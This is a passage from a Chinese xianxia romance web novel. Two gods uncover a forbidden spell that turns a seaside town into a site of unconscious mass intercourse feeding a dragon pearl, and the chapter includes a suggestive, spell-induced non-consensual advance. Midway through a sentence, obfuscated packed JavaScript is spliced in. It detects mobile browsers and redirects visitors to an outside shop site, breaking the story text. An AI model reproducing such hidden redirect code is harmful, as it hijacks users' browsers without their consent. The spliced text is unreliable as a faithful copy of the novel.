玄武:那我们是不是得巴结巴结他? 青龙:什么巴结不巴结的,不论他是何身份,在天狱内都是我们的晚辈,我们正常关照即可。 见三人不约而同地点点头,腰间的传音铃又适时响起,风照卿微笑道:“既然三位前辈已经清楚狱神的喜好,那朱雀就先告辞了。” —— 他不紧不慢地来到正殿,见元出尘正手持海灵珠坐在高位上冥思苦想,便走到旁边问道:“怎么了?想到什么重要的线索了?” 元出尘摇了摇头,盯着这颗盈盈发亮的海灵珠不发一语。 “这东西该拿去还给南海了吧?”风照卿说道,“也能还丰元一个清白了。” 南海。 这两个字在元出尘脑中挥之不去,他不禁想到下界时发生的种种:莫名暴露的行踪,突然出现的海怪,被摧毁的镇子,以及不费吹灰之力就抓住的陶岚,这一切是否有人在刻意引导? 他突然将海灵珠紧攥在手心,站起身来不由分说地拉着风照卿往寝殿走去:“走,再去一趟凡界。” “啊?”风照卿控制不住自己的身体,只能任由他把自己往莲池带去,路过后院时,三位狱官向他们投来了复杂的注目礼。 元出尘注意到黑白青三人,顿步道:“我离开一会儿,你们不许擅自做主。” “是。”三人佯装恭敬低头,实则眼神都飘向了他们离开的背影,待到元出尘和风照卿的身影彻底没入竹林,便又叽叽喳喳地凑到了一起。 “看到了吗?狱神大人拉着朱雀的手!”白虎激动道,又担心被狱神听见,只得压低声音,发出了嘶哑又尖锐的奇怪声音。 “是手腕。”青龙更正道。 “这不重要,重要的是,狱神大人带着朱雀进了寝殿,还说要离开一会儿……”玄武的话语里充满了耐人寻味。 青龙猛然红了脸,干咳一声轻斥道:“够了,狱神大人的私事就聊到这儿。” 白虎和玄武一齐冲他翻了个白眼:真没劲儿。 —— 时隔两日,二人再次抵达扶桑镇时正值夏初傍晚,暮色四合,前日因海怪突袭而破败不堪的城镇如今居然又是一副欣欣向荣之态,几乎与他们初见时一模一样。 “这个镇子复苏得还真快,才近两年光景就恢复如初了,”风照卿感叹道,“连街边的扶桑花都和从前开得一样好,完全看不出曾经被海怪摧残过。” 元出尘却微微蹙眉,狐疑道:“居然和当初一模一样,”眼见风照卿正要迈进镇门,元出尘忽然拦住他,轻声道,“慢着,还是先把灵力藏起来吧。” 风照卿知道他是担心又一次泄露行踪,顺从地收起了周身灵力。 二人依然是寻了上次的客栈住一晚,这次风照卿甚至连结界都没布下,他见元出尘一直紧锁眉头,心事重重的模样,很想问问他是否想到了什么关键,却又担心打扰他的思绪。 偏偏屋外十分嘈杂,扶桑镇盛行夜市,又人丁兴旺,虽说已至亥时,街上仍有不少夫妻带着孩子游玩,从楼上看下去,大半条街都是孩童的身影,嬉笑声吵闹声哭喊声充斥在耳边,仿佛一把锯子在耳边反复拉扯。 风照卿关上窗户也关不住外面的动静,想设个隔音镇好让元出尘专心思考,却又怕暴露行踪,只能无可奈何地站在窗边。 半晌,元出尘终于悠悠开口道:“这个镇子,有古怪。” “何出此言?”风照卿坐到他身边问道。 “若是房屋被毁,自是要重建,一两户建的与从前一致也就罢了,可这大半个镇子都按原本的样子复原实在蹊跷。”元出尘说道。 “或许是这些房屋的有风水讲究?”风照卿问道。 “风水也只是一些门窗朝向,屋内陈设的讲究,不曾听闻连整个外形都不能随意变动的。”元出尘道。 风照卿刚低头沉思,一声凄厉的婴孩哭声便划破了长空,紧接着其他孩子的声音也接连不断地响起,惊得他打了一哆嗦,叹道:“这儿的孩子真是太多了……” 元出尘也忍不住捂上耳朵道:“此处太平,百姓安居乐业,小孩自然也会多些。” “此处太平……”风照卿低喃着这四个字,忽然觉得有些不对劲,“为何此处太平呢?南方的状纸我看过,虽说储君爱民如子,时常关注凡界异动,但也有分身乏术顾及不暇的时候,过去上百年除了扶桑镇,各处都曾有过罪仙异动的情况。唯有扶桑镇从无祸乱,为何孟惜之独独庇护此地?” 风照卿话说完,却迟迟等不来元出尘的回应,心中奇怪,扭头一看竟是元出尘趴桌子上睡着了。 风照卿无可奈何,将他打横抱到床上,盖好被子。烛影摇曳下,风照卿坐在床边望着元出尘的睡颜,想起了从前在沧海涯的夜晚。他的模样还是像五百年前那样温柔俊美,虽是个男子却肤若凝脂,触感如像莲花的花瓣一般细腻柔软,还散发着淡淡的香气。 风照卿不自觉地伸出手去抚上他的额头,再是眉眼、鼻子,最后停在他的薄唇上。他的嘴唇温软一如从前,唤起了风照卿深埋在心底的柔软。 “你从前说的那些话,究竟哪些是真?哪些是假?”烛光下,风照卿如夜般深幽的眼眸写满了落寞,眼角微红,把那颗泪痣也染得如血一般。 他半跪在床边,将脸埋进元出尘的肩头,淡淡的莲香飘来,惹得风照卿鼻子一阵发酸。 上一世自刎前,元出尘对他说过的话依旧历历在目,让他难以释怀,可是一看到他却还是忍不住想向他靠近。 说什么重新回天界,是想找元出尘算账,根本就是在自欺欺人,风照卿真正想问的,是他当初真的舍得杀自己吗?这其中是不是有误会? 可他不敢承认这些内心深处的想法,他不敢承认自己在被他逼死后还是爱他爱得无法自拔,他输不起了…… 所有的避之不及,都只是欲盖弥彰。他始终忘不了在那些寂寥无边的黑夜中,只有元出尘这颗星辰愿意施舍一丝光亮给他。 忽然,元出尘的肩头一动,风照卿连忙直起身,正想掩饰一下自己通红的双眼,却冷不防被拉进了一个炙热的怀抱。 风照卿心下一惊,可还来不及作出反应,被子就劈头盖脸将他蒙住,带起的风吹熄了烛火,黑暗中莲香愈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14052731|149059||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 浓,元出尘竟三两下便褪去了自己的衣物,整个人覆在风照卿身上蛮横地索吻,一双手也在不安分地乱摸,惹得风照卿无法思考。 “你!”风照卿被他吻得话也说不清,只能在换气时含糊道,“你没,没睡?” 元出尘没有回话,浑身烫得灼人,良久才恋恋不舍地从风照卿的唇瓣离开,却贪婪地往风照卿的脖颈咬去。他的手掌很大,一只手便能紧紧扼制住风照卿的双手不让他抵抗,另一手则往身下探去。 “别……”风照卿面色绯红,身上一阵酥|麻,脖子被他咬的生疼,哑声道,“你疯了?” 他敢肯定元出尘没有想起自己,可他现在这一举一动实在太不合常理。风照卿的双手被他死死钳住,又因为担心暴露行踪而不敢施法,只能不停扭动身体挣扎着,然而一点效果也没有,他身上的衣服已经差不多被扒干净了。 绝对不能再让他继续下去。 风照卿心一横,往他肩膀狠狠咬了下去,元出尘吃痛地闷哼一声,终于抬起头在黑暗中与风照卿对视。他每一寸皮肤都染上了潮|红,狭长的凤眸覆了一层水雾,盛满情|欲,深深望着风照卿,鼻尖上有一些细密的汗水,薄唇湿润,如浸在水中的樱桃般,让风照卿不禁心头一动。 “我们,不能这样……”风照卿被他弄得呼吸都乱了,声音绵软,毫无说服力地说出这句话。 元出尘勾起嘴角一笑,完全不理会他,埋下头继续手上的动作。 这下风照卿可以肯定元出尘绝对有问题,他从来不会不顾及风照卿的感受,也从来不会不回答风照卿。 又一次往他肩头咬去,这一次风照卿不再留情,直咬得他鲜血直流,松开了钳制风照卿的手,捂住伤口。风照卿便趁这时一把推开他翻身下床。 “清心咒,清心咒……”风照卿一边抖着手把衣服穿好,一边努力回想清心咒,“该死,怎么想不起来了!” 身后的元出尘居然又要扑过来,风照卿倒吸一口气,千钧一发之际脑中灵光一闪,一掌劈在元出尘脖子上,他便浑身一软摔在风照卿身上。 风照卿接住元出尘倾倒的身体,腿一软跌坐在地上,缓了半晌才终于能清楚地念出清心咒,往自己脑门重重拍了下去,神清气爽后才扛起元出尘,却觉得他还是有些不对劲,等到将他放到床上才发现,有的人脑子晕了,身体却没晕! “你——你到底是吃错什么药了?!”风照卿满脸通红地扯过被子将元出尘裹成一个蚕蛹,往他脑门也拍了一记清心咒。 他满心疑惑,方静下心来,忽闻远处传来许多难以描述的声音。虽说神仙耳目清明,但这夜里的声音也不该如此清晰,除非人数众多…… 风照卿扭头看了一眼安然睡下的元出尘,想到他方才反常的举动,不安瞬间爬上心头,立刻奔到窗边推开窗户,只一眼,便猛然一窒,不可置信地望着夜色下的扶桑镇。 整个镇子所有屋舍楼阁都熄了灯,仅剩引路灯内跳动着诡异的红色烛光,白日里见到的那些重建后规划整齐的楼阁,现下变作一个巨大的法阵,而那一排排紧密相连的引路灯便是阵法上的符咒,街边的扶桑花在夜风下摇曳生姿,鲜红的花朵在烛光下如鬼魅一般…… 扶桑镇的楼阁路灯组成的法阵名为“极乐夜”,能叫法阵内的凡人意乱情|迷,忘乎所以,是仙族禁术之一。 风照卿听着耳边的呻|吟声,抬眼望向已至中空的明月,一阵毛骨悚然:每到阴气最盛的子时,扶桑镇的引路灯便会亮起,所有镇民落在阵法内,每夜都在无意识的情况下欢|爱。 他忽然明白了为何此处炎热镇民却面色苍白,以及镇子里有那么多吵闹的婴儿。 红雾般的阴阳交合之气自各个屋舍楼阁飘出,弥漫在整座镇子里,风照卿正想追出去,忽然想起床上的元出尘,纠结片刻,从袖子里掏出了敖丰元送他的一个小葫芦。 “委屈你一下了。”风照卿说着便将元出尘连人带被收进了葫芦里。 再顾不得暴露行踪的事情,风照卿释放了周身灵力,化作猫头鹰,悄声飞出了客栈,落在一棵茂密的树上,紧盯着红雾的去处。 可那些红雾却并不聚集,而是四散而去,在镇子里四处游窜,看得风照卿眼花缭乱,他只好振翅而飞,单一追踪一缕雾气,飞了约莫一盏茶的时间,才终于见它飘入一处楼阁,可抬眼一看,风照卿却不禁脸色一白。 龙神庙。 26. 第 26 章 风照卿怔忡地停在门口,看着那些散发着邪恶意味的红雾汇入孟惜之神像内,心底一凉,神像座下还放着镇民们白日里供奉的扶桑花。 怎么会…… 风照卿重新飞出去,这次他看懂这些红色雾气飘动的方向了,镇子中心每隔不远便有一处龙神庙,红雾四散着往最近的龙神庙飘去,而所有龙神庙的布局连起来,便是阵眼,这就是为何镇子里要紧密地盖这么多座龙神庙的原因。 风照卿化了人形,面色沉沉,手握刑鞭震力一挥,一道化作青鸾模样的天雷霎时蹿出,眨眼之间便摧毁了整条街的引路灯,连带着街道两旁的扶桑花也被尽数斩断,落了满地花瓣。 红雾瞬间消散,风照卿站在花雨中有些茫然:龙珠喜|淫,可元出尘明明说过龙族早已有了抑制的办法,孟惜之为何还要设下如此巨大的阵法吸收淫|气滋养龙珠? 风照卿环视了一圈这个看似宁静祥和的村庄,忽然有了一个可怕的念头:莫非,那个堵截状纸的人是孟惜之? 她修为高强,要想瞒过海听潮堵截状纸易如反掌;寻常罪仙更是不敢踏足她的庇佑之地,外界罪仙猖狂,此处却是世外桃源,便能吸引更多的人来到此地安身,她也能更好地滋养龙珠,以助修炼;但若附近出现罪仙,朱雀狱官下界捉拿还是会发现此地有异,所以她必须制造出南方祥和的假象,堵截状纸不够,还托梦令凡人每日都供奉自己,让鸿雁阁内南方的供品格外多。 几乎是天衣无缝的计划啊……若非陶岚把那些旧案送上天界,只怕天界还得再过很长时间才能发现。 风照卿抬头看了一眼月亮,呢喃道:“子时未过,我毁了这个法阵她必会发现,若她的修为真的仅次于烛夙忆,便是以青鸾真身相抗,我也没有十全的把握,还是先走为妙。” 揣紧怀中的葫芦,风照卿招来一朵祥云向着沧海涯疾飞而去。 —— 日上三竿,阳光洒进沧海涯的竹屋里,晒得屋子有些闷热,元出尘烦躁地闷哼一声,微微一动,觉得脖子有些疼,伸出手揉了揉,忽然觉得有些不对劲,等反应过来,猛然坐起身,发现自己□□被人裹在被子里,而此处明显不是昨日落脚的客栈。 怎么回事?我的衣服呢?! 他低头看了一眼自己的身子,除了肩膀上有道齿痕外并没有其他痕迹,正茫然地回想着昨夜的事情时,风照卿提着早餐走了进来。 二人四目相对,不约而同地别开脸,干咳一声。 “我这是,怎么回事?昨夜发生了什么?”元出尘完全想不起来昨晚的事,只记得自己正和风照卿谈话,忽然困意袭来,就失去意识了。 莫不是他……元出尘不敢继续往下想。 风照卿背对着元出尘,手一挥,用法术将他的衣服送到床上,说道:“昨夜我们误入了‘极乐夜’。” “极乐夜?”元出尘穿衣服的手顿住了,“怎么会毫无觉察?我们不会……” “没有!”风照卿激动地打断了他的话,“在你酿成大错之前,我把你打晕了。” “哦,那就好那就好……”元出尘心虚地低下头开始穿衣服,耳根通红。 风照卿微微侧头,余光见他已穿戴整齐,便坐到旁边,沉声道:“整个扶桑镇就是极乐夜法阵。” 元出尘目光一凛,回想起那些对称分布错落有致的街道和楼阁。 风照卿继续道:“有人在收集阴阳交合之气,滋养龙珠。” “你怎么肯定是龙珠?”元出尘问道。 风照卿沉默片刻说道:“因为昨夜我亲眼目睹孟惜之的神像在吸纳阴阳之气。你可还记得我曾问过,为什么镇子里要建那么龙神庙吗?所有龙神庙相连,便是阵眼,如此一来,孟惜之不需要亲至扶桑镇,就可以通过自己的神像来开启法阵并吸食阴阳之气滋养龙珠。” 元出尘面色微沉,道:“三界之内除了天帝,就数孟惜之修为最高,她有绝对的能力抑制龙珠喜淫的特性,为何要用如此下作的法阵……” 风照卿也不明白其中缘由,可那都是他亲眼所见。 元出尘俊美的脸庞覆上了一层冰霜,道:“若是她,一切便解释得通了……” 风照卿点点头认同道:“嗯,堵截状纸的,大约也是她。” 元出尘实在想不通,明明有更好的方法,孟惜之为什么偏偏选择以此滋养龙珠。 “先回天界,禀明天帝后再议。”此事事关储君,绝不可贸然行事。 —— 金华宫内十分静谧,空气中有着淡淡的花香,石子小路旁的清池里满是红鲤鱼,汇聚在一起如同水中焰般绮丽,绕过正殿来到后花园,争艳绽放、数不胜数的扶桑花几乎要淹没整座花园。 风照卿看着这满园的扶桑花不禁暗暗奇道:“龙族都这么喜欢扶桑花吗?” 元出尘道:“只有天帝喜欢。” 风照卿不解:那为何孟惜之也要凡人供奉扶桑花给她? 烛夙忆正于凉亭批阅奏折,李紫叶则在安静地站在一旁为她研磨。她抬眼望向元出尘,琥珀色的眸子波澜不惊,淡淡开口道:“有何发现?” 元出尘冷冷瞥了李紫叶一眼,烛夙忆明白他的意思,便让李紫叶先退下。 目送李紫叶离开,烛夙忆悠悠开口道:“你何必处处刁难他,他也不曾招惹你。” 元出尘没回答,他见李紫叶第一眼就很讨厌,虽然他与一位故人长得一模一样,可眼神里的意味却相差十万八千里,一想到他顶着和那个人一模一样的脸混迹在烛夙忆身边,元出尘就觉得恶心。 “还是说正事吧,我们去了凡界一个叫扶桑镇的地方。”元出尘说道。 闻言,烛夙忆手一顿,将笔搁在一边,正色道:“那是什么地方?” “它离南海很近,和你这里一样,到处都种满了扶桑花。里面的镇民十分信奉孟惜之,每日都会拿扶桑花和供品去供奉给她的神像。”元出尘娓娓道来。 烛夙忆抬眼与元出尘交换了个复杂的眼神,问道:“为何供奉扶桑花?” “不知,”元出尘话虽如此,听起来却有些意味深长,“昨日我们在扶桑镇附近抓到陶岚,并问出他就是那个将状纸传回天界的人,但他被幕后之人下了死咒,刚要说出名字便暴毙而 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元出尘侧身看向风照卿道:“朱雀亲眼目睹,在极乐夜法阵开启时,储君的神像将所有阴阳交合之气吸食。” 烛夙忆眉头微蹙,冷冽的眼神叫人不寒而栗,低语道:“她难道抑制不住龙珠?” “以她的能力,要躲过海听潮拦截状纸易如反掌。扶桑镇常年有她庇护,凡界地仙们纷纷挪位,也就无人知晓此处异常,拦截状纸是为了阻止天界的仙官来此处探查。 另外,她应该是通过镇上的龙神像监视到了朱雀曾去为她献花,知晓我们下界查案一事,便借着受伤的由头让龙王趁着白天将我们带去龙宫;夜晚刻意在龙宫附近放出海怪,以保护为由限制我与朱雀的行动,并引导海怪将扶桑镇毁去大半,如此一来即便我再回到扶桑镇也很难看出法阵的端倪,因为这一切都在她的计划之内,所以她才能保证整个镇子的百姓都能及时撤离不被海怪伤害;她一定也查到了将状纸送回天界、害她计划败露的人是陶岚,所以查到他的行踪后出手及其狠戾,直接斩断了陶岚一臂。 再次下界,我发现被毁掉的镇子居然复原得与当初一模一样,却因凡胎□□陷入阵内失了神智,所幸朱雀发现了法阵。” 元出尘将整件事情的来龙去脉说清,便见烛夙忆脸色阴沉,道:“来人,即刻将储君带上天界,本座要亲自问个清楚。” 风照卿回想起孟惜之当日那副对百姓安危忧心忡忡的模样,一时不知该以何种情绪面对她:她竭力保全百姓是真的担心众生,还是担心无人入阵?而她所谓的爱民如子究竟有几分真几分假?她已是储君,一人之下万人之上,做这一切又是为何? 不过一炷香的时间,传令的天将便返回天界,身边却并未带着孟惜之。 烛夙忆问道:“储君呢?” 天将脸色煞白,跪在地上哆哆嗦嗦,半天说不清一个字。 烛夙忆见他情况不对,起身道:发生什么事了?储君不见了?” 天将摇摇头,终于挤出了一句完整的话:“殿,殿下,神陨了……”